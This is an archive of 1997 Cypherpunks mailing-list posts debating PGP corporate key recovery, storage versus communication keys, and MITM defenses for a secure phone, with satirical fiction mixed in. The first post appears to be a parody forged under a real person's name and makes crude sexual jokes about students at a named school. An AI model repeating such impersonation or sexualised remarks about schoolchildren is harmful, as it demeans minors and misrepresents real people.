To: cypherpunks@toad.com
Subject: Cole Harbor Students Not Wearing Any Panties! / Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Pine.BSD/.3.91.971001154053.7185A-100000@mrburns.iosphere.net>
Message-ID: <343E4B61.6FE8@bone_dis.com>
MIME-Version: 1.0
Content-Type: text/plain



Cynthia Brown wrote:
> Canada may be regulated to death according to most libertarians, but I for
> one like it that way.  I can walk alone and unarmed at night in Ottawa,
> Toronto, etc. without fearing for my life.  Can a female resident of
> Washington or New York say the same?  

> Our schools do not have metal detectors
> at the entrances because they are not needed.

Boy, do I feel like an idiot.
Since I wrote the above, the Province of Nova Scotia shut down Cole
Harbor school for a week to install surveillance cameras, and now
they have armed policemen patrolling the highways.

Although the body-searches have shown that the students are not 
carrying weapons, it turns out they are also not wearing any panties.
{This doesn't come as news to *some* of us. <nod-nod> <wink-wink>}

Cynthia, unredundant bleeding-nose liberal
{Please join me in posting at midnight tonight, in the first annual
 FemniPunk 'Take Back The CypherPunks List' electronic march to
 Bienfait, Saskatchewan where we will byte Human Gus-Peter.}
======================================================================
                   Cynthia H. Brown, P.Ing.
E-mail:     cynthb@iosphere.net  | PrettyGoodPenis Key:  See Bone Page
Home Page:  http://www.iosphere.net/~cynthb/
Punk mail will be impaled in the order in which it is repreived.

        Calvin Klein for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 11 Oct 1997 00:58:04 +0800
To: cypherpunks@Algebra.COM
Subject: Corporate Access to Keys (CAK) Considered Harmful
In-Reply-To: <199710081706.SAA00194@server.test.net>
Message-ID: <v03102800b064086075b3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:48 PM -0700 10/9/97, John W. Noerenberg wrote:

>Moreover, it is not unheard of during legal discovery for email to be made
>subject to search (Our lawyers are constantly tut-tuting about all the
>email that is saved).  So to say it is not used for long-term storage is
>simply incorrect.

Not surprising that your lawyers are worried about extensive mail archives.
Imagine the juicy things that must lie in gigabytes of archived e-mail
messages! (Or the messages which can be twisted by skilled lawyers into
seeming to be anticompetitive, price-fixing, conspiratorial, etc.)

I don't think we've yet seen a good example of massive amounts of e-mail
being examined in a "discovery" process, yet, but we saw the effects on IBM
during its antitrust issues in the 70s. Basically, every scrap of paper,
every desk calendar, every internal memo, everything, had to be turned over
to opposing counsel.

We will almost certainly see some examples of where lawyers demand access
to all company e-mail.

(When I was at Intel there were periodic purges of old memos, old reports,
old scraps of paper. Ostensibly this was to cut clutter, but the real
reason was, probably, that Intel feared old memos and reports would be
demanded by AMD or whichever competitors were suing Intel, or by a
government bent on breaking up the world's most powerful chip monopoly (as
the Feds saw it). As a sidenote, I kept nearly all of my old reports and
papers, and this came in handy several times...others had purged their
corporate memories, but I had the needed information to solve a problem.)

I can imagine that companies are getting very worried about the possibly
"discovery" of their increasingly computerized communications systems, with
lawyers pawing through gigabytes with keyword searches for anything to help
their case.

(And there are similar examples in the political sphere. E-mail in the
President's "PROFS" system during the Iran-Contra controversy was acquired;
the Ollie North crowd thought they had deleted the messages implicating
them, but the PROFS backups revealed all.)

Is there a solution? Well, "key recovery" is probably one of the _worst_
solutions! (This is in my opinion. If I had a company I'd fear a CAK system
would be used against my company. Expect CAK keys to be the first things
demanded in the discovery process.)

Certainly lawyers can subpoena the holders of various keys, and I'm
certainly not saying that having X hundred separate, non-CAKked keys means
the discovery process hits an insurmountable obstacle. But it is certainly
true that having a large repository of all e-mail, conveniently accessible
with a small number of easily subpoenaed CAK keys, is an overwhelmingly
tempting target.

If CAK is implemented, and these corporate discovery trends continue,
expect to see less communication through the official corporate channels,
and more through personal accounts. (E.g. people will use the Net to access
other accounts, even Web mail throwaway accounts, to communicate even with
persons in their own company!)

It may be that PGP, Inc. and the other companies claiming "communications
plaintext recovery" is so important are talking to the wrong groups of
lawyers at various companies.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spook <ts@dev.null>
Date: Sat, 11 Oct 1997 00:02:15 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: authentication suggestion for secure phone (Re: computationally infeasible jobs for MITMs)
In-Reply-To: <3.0.3.32.19971009111805.006aedf0@popd.ix.netcom.com>
Message-ID: <343E4EFC.1783@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



John Deters wrote:
> 
> At 01:15 PM 10/10/97 +0100, Adam Back you wrote:
> >Persistence authentication suggestion:
> >A way to use the fact that you have had one or more non-MITM'd calls
> >is for the unit to remember the number and exchange a secret with the
> >called unit inside the encryption envelope.

> I agree with you that external authentication is the only way to fly.  And
> if it is simply accepted, lets let Eric's unit survive unmolested and use
> PGP out-of-band (as per Monty's suggestion) or use PGP to exchange session
> keys (like in Speak Freely.)
> 
> I also think the most likely avenue of attack will be a black bag job on
> the individual user's phone.  MITM attacks seem too risky and expensive to
> pay off.

I'm not a subscriber to the CypherPunks list, but I have been monitoring
the emissions from John's computer screen, and I would just like to say 
that I agree with him, wholeheartedly. I often tell my superiors that 
there are much better ways to be spending taxpayer money.

I am not alone in my agreement with most of what is being said in this
thread.
The spook supplying heroin to Adam Back's lover agrees with most of this
thread, as does the spook peeking through Eric's window (although she
disagrees with the suggestion to "let Eric's unit survive unmolested").
The one exception is the grandson of Patton who is doing surveillance
on Monty. His method is quite simply to beat Monty to the phone.

Spooky 
(isn't it?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Fri, 10 Oct 1997 23:01:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <bf93dd7a6705c63ca0db70676cb3e3af@anon.efga.org>
Message-ID: <3.0.3.32.19971010095530.00a32ce0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 11:31 PM 10/9/97 -0400, an Anonymous Monty Cantsin wrote:
>My apologies if this has already been discussed, but wouldn't this be
>a straightforward solution?

Yes, your PGP solution will work.  Information-theoretically speaking, it's
a simple XOR, and is as secure as the random number generator used and the
PGP systems used to exchange your secret key.

However, so will a thousand other schemes that use PGP, or any other
"out-of-band" form of authentication.  At this point you realize that you
are using PGP for authentication, not the "Secure Phone".  Our discussion
so far has been ways of authenticating the connection WITHOUT external
references.  No pre-exchanged public keys, no pre-arranged passwords or
secrets or any of that.  (They even disallowed me a trip to ask a trusted
authorizer!)

To restate the problem in its current form:  using the secure phone
channel, (and only the secure phone channel) can we "prove" that we are
connecting only two endpoints, and that there is no man-in-the-middle
between the voices that are speaking to each other?  Remember that Mallory
(the man in the middle) has full knowledge of the protocol and of the
public keys belonging to both parties.  He can even spoof the voices.

The latest candidates for solutions have been "have the users identify this
flaw in the audio" which is probably as good as we can hope for on an
unauthenticated conversation.

As it is, Eric's current solution to have each party simply read their half
of the hash.  Real-time impersonating the audio to the point where you can
fool a careful human is already putting a great deal of exposure risk on
Mallory.

My bottom line:  I would trust Eric's current phone to all but eliminate
the MITM, and with external authentication I wouldn't have any problems at
all.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Fri, 10 Oct 1997 23:12:56 +0800
To: Adam Back <stewarts@ix.netcom.com
Subject: Re: authentication suggestion for secure phone (Re: computationally infeasible jobs for MITMs)
In-Reply-To: <3.0.3.32.19971009111805.006aedf0@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19971010100231.00a56c60@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 01:15 PM 10/10/97 +0100, Adam Back you wrote:
>Persistence authentication suggestion:
>A way to use the fact that you have had one or more non-MITM'd calls
>is for the unit to remember the number and exchange a secret with the
>called unit inside the encryption envelope.

The problems with this solution are twofold:

1.  Eric may have to redesign the unit to have persistent read-write
storage.  And maybe a *lot* of storage, if you use it a lot.  Maybe a lot
of expen$ive $torage at that.  His phone is already priced way out of the
consumer market, let's not add to that.

2.  I had problems with UUCP when my machines got out of sync (way back
when.)  Just think how bad they'll look if they refuse to light up "secure"
because one guy had to change batteries.

I agree with you that external authentication is the only way to fly.  And
if it is simply accepted, lets let Eric's unit survive unmolested and use
PGP out-of-band (as per Monty's suggestion) or use PGP to exchange session
keys (like in Speak Freely.)

I also think the most likely avenue of attack will be a black bag job on
the individual user's phone.  MITM attacks seem too risky and expensive to
pay off.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 11 Oct 1997 01:34:58 +0800
To: cypherpunks@Algebra.COM
Subject: CAK as a really bad form of corporate networking
Message-ID: <v03102802b0641232c44b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I've been scratching my head, trying to figure out what the market for
PGP's new recovery program is for. After all, if employees have local disks
and these disks are on a company network or backup plan, then the
corporation has access to the plaintext of memos, reports, and plaintext
sent and received e-mail. (The purpose of Alice encrypting to Bob being
_in-transit_ security, and nothing more.)

It seems to me that the CAK (Corporate Access to Keys) approach being
talked about, where Alice encrypts to Bob and _also_ encrypts to Eve, is a
poor solution to the "archiving" problem.

As Adam Back and others have noted, if Alice stores her Eudora or whatever
e-mail files on her systems, presumably in plaintext (as the purpose of
encrypting with Bob is for _in-transit_ security, not storage security),
then the corporation can insist that she make her plaintext files
archivable on the company's backup system.

One way to look at the market for CAK is that a company is too flaky to
have a corporate network or backup strategy and is using CAK as a kind of
crude networking scheme. E-mail, with cc:ing of the company crypto czar, is
a way to archive or pool company traffic. A rather back-assed approach, it
seems to me.

Meaning no insult to PGP, Inc. or its fine programmers, it's as if this
message was sent out:

--begin internal Giant Corporation memorandum--

From: Cakbert, Evil PR and Security Administrator
To: All Droids
Subject: Mandatory Voluntary CAK System

It has come to my attention that our attempts to get a corporate-wide
network working have failed, and that we are using a mishmash of intranets,
local LANs, and direct dial-out systems. This is thwarting our efforts to
read what you people are writing to each other.

Henceforth, to solve this network problem we must insist that you adopt a
mandatory voluntary system of cc:ing me, Cakbert, on all of your messages.
Encrypted messages must be voluntarily encrypted with PPP (Pretty Poor
Privacy).

Thank you for your attention.

--end internal Giant Corporation memorandum--

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 10 Oct 1997 19:11:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <slrn63s326.10h.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Jon Callas wrote:
>It brings up a dialog box and gives you the option of encrypting to Alice
>alone or Alice plus her corporate recovery key. If the "strict" flag is set
>on Alice's CMRK and you remove it, we display a dialog box that wags a
>finger at you and tells you you're being naughty, but that's it. If you
>remove Alice's CMRK from your key ring, it just sends to Alice alone and
>doesn't bother you at all.

The CMRK must not be used in eMails. It may be used in storing folders.x

If it does work in that way, it's GAK to temprorary communication keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 11 Oct 1997 02:36:41 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CAK as a really bad form of corporate networking
In-Reply-To: <v03102802b0641232c44b@[207.167.93.63]>
Message-ID: <v03102803b0641d56626f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 AM -0700 10/10/97, Tim May wrote:

>As Adam Back and others have noted, if Alice stores her Eudora or whatever
>e-mail files on her systems, presumably in plaintext (as the purpose of
>encrypting with Bob is for _in-transit_ security, not storage security),
>then the corporation can insist that she make her plaintext files
>archivable on the company's backup system.

I should add that Alice may have encrypted files on her local hard disk.
Nothing in PGP for Business, as I understand it, stops Alice from storing
files without also encrypting to Cakbert's key. That is, Alice can store
encrypted files to her heart's content.

(If in fact PGP for Business even requires a corporate encryption for
stored files, then I missed this in the description. My apologies.
Actually, to close this glaring loophole, I would expect PGP for Business
to insist on a corporate key being used even for private files. Of course,
without communicating those files to the corporate data center, all Alice
has to do is corrupt the stored file a little, or delete it, and she's back
to encrypting in ways only she can use.)

A tree chart is really needed to see where PGP for Business works and where
it doesn't work.

The charting of the permulations, of who encrypts, who keeps the plaintext
versions around, etc. is complicated, but instructive to do. (Does Alice
encryp to Bob? Does Alice store the plaintext or leave things encrypted?
Does Alice make her local disk archivable by corporate backup systems? Etc.)

My conclusion is that PGP for Business does very little for real corporate
access in "hit by a truck" situations, as most of these critical files
(fill in the blanks, but think of chip design files, source code for
programs, lab notebooks, etc.) are simply NOT ever e-mailed. And if they
are e-mailed, this is completely a tertiary issue.

To put it simply, if Joe the Programmer is hit by a truck, reconstruction
of his project files will come almost entirely from what he has on his hard
disk, on backups he or the company made, on his papers, etc. Almost none of
it will come from the e-mail he sent to others. And, in any case, his
recipients presumably have copies of the e-mail he sent them. Maybe they
don't, but if this is a function of PGP for Business, then it says that
file archiving is really one of the main functions. Which is possible, but
there are better ways to archives records!

If a company is worried that an employee will forget his passphrases, or be
hit by a truck, or leave on bad terms, or whatever, then the obvious
solution is to have him carefully make a backup of his passphrases and
secret keys and place them in a safe and accessible place, e.g., in the
safe of the company attorney. This is what all prudent persons do with
their keys, right?

Such precautions are standard for crypto work, and have nothing to do with
what PGP for Business is apparently doing.

Further, I would argue that PGP for Business gives a false sense of
security. What real use is access to some bullshit e-mail if the prudent
steps outlined above have been ignored?

We know that the push for GAK is for access to _communications_ keys. We
know that Alice and Bob have no need to GAK their _communications_. The
real customer for GAK is an eavesdropper, not Alice or Bob.

So who is the real customer for PGP for Business and its form of plaintext
recovery?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Prosecutor <tp@dev.null>
Date: Sat, 11 Oct 1997 01:56:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Corporate Access to Keys (CAK) Considered Harmful
In-Reply-To: <199710081706.SAA00194@server.test.net>
Message-ID: <343E6766.2573@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 11:48 PM -0700 10/9/97, John W. Noerenberg wrote:
> >Moreover, it is not unheard of during legal discovery for email to be made
> >subject to search (Our lawyers are constantly tut-tuting about all the
> >email that is saved).  So to say it is not used for long-term storage is
> >simply incorrect.
> 
> Not surprising that your lawyers are worried about extensive mail archives.
> Imagine the juicy things that must lie in gigabytes of archived e-mail
> messages! (Or the messages which can be twisted by skilled lawyers into
> seeming to be anticompetitive, price-fixing, conspiratorial, etc.)

So, Mr. May...I see that you have instructed your "skilled lawyer" to
make certain my client's email messages are "twisted" to seem
anticompetitive, price-fixing and conspiratorial.
Now all I have to do is find a client to sue you...

The Prosecutor
"Hold that ambulance!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 18:51:06 +0800
To: jamesd@echeque.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <199710092259.PAA13153@proxy3.ba.best.com>
Message-ID: <199710101040.LAA00172@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Donald <jamesd@echeque.com> writes:
> At 02:27 PM 10/7/97 -0700, Jon Callas wrote:
> [Explaining PGP's rather alarming "data recovery" features.]
> 
> Sending a copy to the boss of everything Alice sends is OK.
> 
> If Alice wants to send something her boss should not read, perhaps she
> should use her private account, rather than a company paid account.
> 
> Sending a copy of everything Alice receives to the boss or HR is not OK.
> 
> Alice should get to control it.

I'm not sure I see why you draw this distinction.

Is it because the person sending may intend the message for Alice
only?  If so I think Jon said that all current versions of PGP warn
the user that their is a company escrow situation when you send to the
key (this information being in attributes of the key).

Snooping Alice's outgoing traffic, and snooping Alice's incoming
traffic are similarly little brotherish in my view.

If the company has an approval system for official statements (seems
reasonable, if it's a press release, important contractual decision,
etc), then Alice can send a copy to the legal beagles for the ok, and
they can send it on.

> It would be acceptable for the company system to keep track of what
> Alice has received, and flag "Alice received something, and has not
> yet filed the cleartext copy with us"

I figure this is fair game also... clearly they can see the traffic
coming into LAN and being delivered to Alice's mailbox.

> It is not acceptable to just plain snoop on what Alice receives.

I don't like it either.  But how is this so different from snooping on
what Alice sends.

> Furthermore any auto-snoop feature sets a very dangerous precedent.

Agree.

> It is politically a lot more difficult for the FBI to mandate that they
> can recover your data, if such a mandate leads to the message flashing up, 
> "now sending a copy to the FBI" every time you decrypt something.

I was arguing earlier that the way for the company to do archiving of
received encrypted email was for archive copy to be taken after the
employee has decrypted it.  The employee should be made aware that the
received email is being archived.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 18:59:02 +0800
To: anon@anon.efga.org
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <bf93dd7a6705c63ca0db70676cb3e3af@anon.efga.org>
Message-ID: <199710101045.LAA00179@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty Cantsin writes:
> My apologies if this has already been discussed, but wouldn't this be
> a straightforward solution?

John Kelsey described the same system.

[adding hex passphrase digits exchanged via PGP to display digits]

> Any flaws?

See my other recent post in this thread... I think it doesn't work
because Mallet can recover the passphrase.  You must remember that
when Mallet is actively doing a MITM attack he knows the digits on the
display of each party.  With that info he can recover the passphrase
by subtracting.  Then he can give Alice the correct checksum for the
link A<->M and Bob the correct checksum for the link M<->B.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sat, 11 Oct 1997 02:58:54 +0800
To: cypherpunks@Algebra.COM
Subject: Spammers Plan Backbone
Message-ID: <199710101846.LAA25809@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain




http://www.zdnet.com/chkpt/adt1010nk/www.anchordesk.com/story/story_1343.html

Yippie! Spam wars intensify as bulk emailers plan own Internet
backbone. AOL, other ISPs threaten to fight back.

Spam is FREE SPEECH!!!!


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sat, 11 Oct 1997 03:14:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DoD Asks Me to Stop Quoting From the Congressional Record
In-Reply-To: <61l7cn$rc$1@gail.ripco.com>
Message-ID: <199710101947.MAA14304@always.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
alt.censorship, alt.privacy,comp.org.eff.talk,misc.legal)

In article <61l7cn$rc$1@gail.ripco.com>, glr@ripco.com (Glen Roberts) wrote:

> I received a letter yesterday from the Office of the Secretary of
> Defense. It politely asked me to stop quoting from the U.S.
> Congressional on my website, and I presume they are also asking me
> not to include such quotes on my radio show or print publications.
> 
> Keep your eye out for a copy of their letter and my response...
> 

I'll be anxious to see it. 

Certainly they have no legal footing, as the Congressional Record is just
that, a record of what our elected Congress is doing and saying. 

The CR is, as we all know, widely available and meant to be quoted. This
is why things, including a lot of nonsense (actually, _mostly_ nonsense)
is "read into the Record." Or simply submitted to the CR for inclusion.

As for any possible military secrets being disclosed, this is what closed
hearings are for. Not that I necessarily approve of how many closed
hearings there are, but this is what they're meant for. 

It would be consistent with trends of the past few decades if the
Congressional Record becomes subject to secrecy laws. Hell, if were a
Congresscritter I know I'd certainly want some of my stupid remarks
stricken from the record and discussion of them banned.

Let us know what happens. By the way, if the DoD pushes on this issue, you
may find using mirrors of the CR, with pointers, another way to go. Don't
actually quote the offending secruts, just give pointers to them.

But quoting the CR is almost certainly fully legal.

--Tim May

-- 
The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 20:24:06 +0800
To: jwn2@qualcomm.com
Subject: do NOT escrow communications keys (Re: What's really in PGP 5.5?)
In-Reply-To: <v04001b20b0637c652eba@[129.46.85.154]>
Message-ID: <199710101123.MAA01069@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Noerenberg <jwn2@qualcomm.com> writes:
> 
> At 6:06 PM +0100 10/8/97, Adam Back wrote:
> >
> >Email itself is pretty fragile, and email is not commonly used for
> >long term storage.
> 
> Now this is a pretty bold assertion.  One with which I completely disagree.
> As I peruse my Eudora folder this evening, I can easily pick out messages
> that date back nearly 6 years.  Looking thru IETF working group archives
> (which are *all* email) it is possible to find messages dating back 10
> years and more.

You're misunderstanding what I'm saying.  There was some other context
around the above quote.

What I'm saying is that you don't use the *email in transit* for
storage.  You receive the email, then you archive it (store it in your
eudora folder), then you consider it storage.  Perhaps with your
current software you archive the PGP encrypted email.  This is a bad
security practice.  You should have different, storage only keys for
encrypted archives.

Email in transit isn't that reliable.

About the only example of email in transit being considered storage
was a USENET article years ago by someone who considered it a kewl
hack that he had some games or something else which was in breach of
policy in his account and rumor went around that the admin was having
a purge.  He tarred, gzipped & uuencoded the lot and emailed it to
himself down a _long_ ! fowarding path.  It came back to him around 3
days later after the purge.  That's the kind of thing I mean when I
say you don't consider email storage.

I'm arguing that you should not backup, or escrow communications keys,
and that you should backup storage keys.

(Separately I have argued in the past that you should use forward
secrecy to ensure that you have no long term private keys which after
the fact allow you to decrypt traffic -- if a competitor, or the feds
get a copy of this key, your past traffic is vulnerable.  Encrypting
the session key to two long term keys, never mind one, makes this
situation even worse, and also results in a system useable for GAK.)

> Moreover, it is not unheard of during legal discovery for email to be made
> subject to search (Our lawyers are constantly tut-tuting about all the
> email that is saved).  So to say it is not used for long-term storage is
> simply incorrect.

Your lawyers have a good point.  I know a few examples where people
really wish that email hadn't been kept around, as an email sent with
1 minutes thought has been dug up and used somewhat out of context as
the basis of a court case.

A pgp signed email is even worse.  There you have transferable
undeniable signature proving that you wrote the contested email.


I'm sure I've said this all before, but hey, maybe PGP has it's ears
open this time:

You should have two types of email.  "Official statement" type email,
which you might want to back up, and which you might want proof read
and approved by your company legal team, depending on how important it
is.  Official email you want to sign with a transferable signature
(normal pgp signature).

Unofficial email, for example to and fro communications between
co-developers at different companies, etc. you probably don't want
transferable signatures on.  (This is the kind of thing lawyers go
tut-tut about.)  So you use non-transferable signatures.  You use
forward secrecy, and for the really paranoid deliver it via mixmaster
to avoid mail delivery logs.  Archive if you wish.  It'll then be
largely one persons word against the other, as there will be little in
the way of proof of authorship.

> Since your argument pretty much is based on this claim, Adam, I have
> a hard time accepting any of it.

It isn't based on the idea that you never want to store email.  That's
clearly bunk.  I've got 54Mb of old email on my disk.

What I'm arguing is that if you're going to encrypt your stored email
on your disk, that you should encrypt it with a storage key, and NOT a
communications key.  Communications keys should ideally be transient
(via forward secrecy), but failing that you should at least not have
multiple recipients to exarcerbate the problem.

Am I making sense?

I know I'm fighting against the tide .. but I'm confident that what
I'm saying is correct.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Hoir" <ah@dev.null>
Date: Sat, 11 Oct 1997 03:15:56 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 0 (Part III of 'The True Story of the InterNet')
Message-ID: <343E7B2F.4E40@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
d'Shauneaux


Epilogue


Gomez surveyed the wreckage with a discerning eye, before turning
toward the mountains in the distance and fixing upon them with
a penetrating stare that burned like a laser toward the chief
target of his hatred, wherever they might be.

"They are finished." he said, with certainty,
turning to the Commander of his Dark Forces, and instructing him,
"Now finish them!"



d'Shauneaux

Except that you have spent literally a lifetime involved in a
world of shadows, where even those things which are not
done with mirrors are resonating indeterminately and obliquely,
then you have little hope of ever recognizing the true depth to
which the world you live in is ruled by secrecy, subterfuge and
intrigue.

Unless, of course, you are a follower of an ancient sage named
Dilbert, and are steeped in the history and lore of Office Politics,
in which case you undoubtedly already have all of the tools you
need to understand what I am about to tell you. (And could probably
even teach an old dog-foot soldier such as myself a few new tricks.)


The lineage of the Author, as well as those of d'Shauneaux and
Rom Dos, were each given information on a basis, not of 'need
to know,' but more along the lines of 'need to figure out.' (That's
'decrypt' or 'decipher' for you CypherPunks.)
The reason for this was that, at the time of the formation of
the Circle of Eunuchs, the Evil One not only had his tentacles
spread throughout society in general, and the computer industry,
in particular, but had also made great progress in 'encrypting'
Reality, so to speak. Even the Magic Circle did not fully realize
the extent or import of this for quite some time, but they did
recognize that they were playing 'catch-up' and needed not only
to learn from the past, but also to reach toward the future.

The Circle of Eunuchs, not being restrained by the need for absolute
control and coordination of their efforts, as the Dark Allies
were, made an astounding amount of penetration into the highest
levels of the computer industry, in a short period of time.
The individuals involved, working on their own or in small guerrilla
cells, were able to 'move camp' at an instant's notice, changing
the direction and focus of their entire career, if need be, which
was of great benefit in such a quickly burgeoning technology.

Despite their astounding success in placing their ersatz players
in the midst of some of the most sensitive arenas of Gomez's grand
technological game, the Circle of Eunuchs knew that they lacked
possession of the key that would unlock the doors of deceit and
allow them to expose the malfeasance underlying the technology
that was increasingly ruling both the bodies and minds of all
mankind.
Then, something extraordinary happened...

A no-name individual who would have had to raise his station in
life in order to become known as a bit-player in the computer
arena suddenly became the target of a full-scale attack by the
Dark Forces over a seemingly insignificant program called Pretty
Good Privacy.
Phil Zimmerman...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Hoir" <ah@dev.null>
Date: Sat, 11 Oct 1997 03:26:27 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 0 / TEXT
Message-ID: <343E7B9A.BC8@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
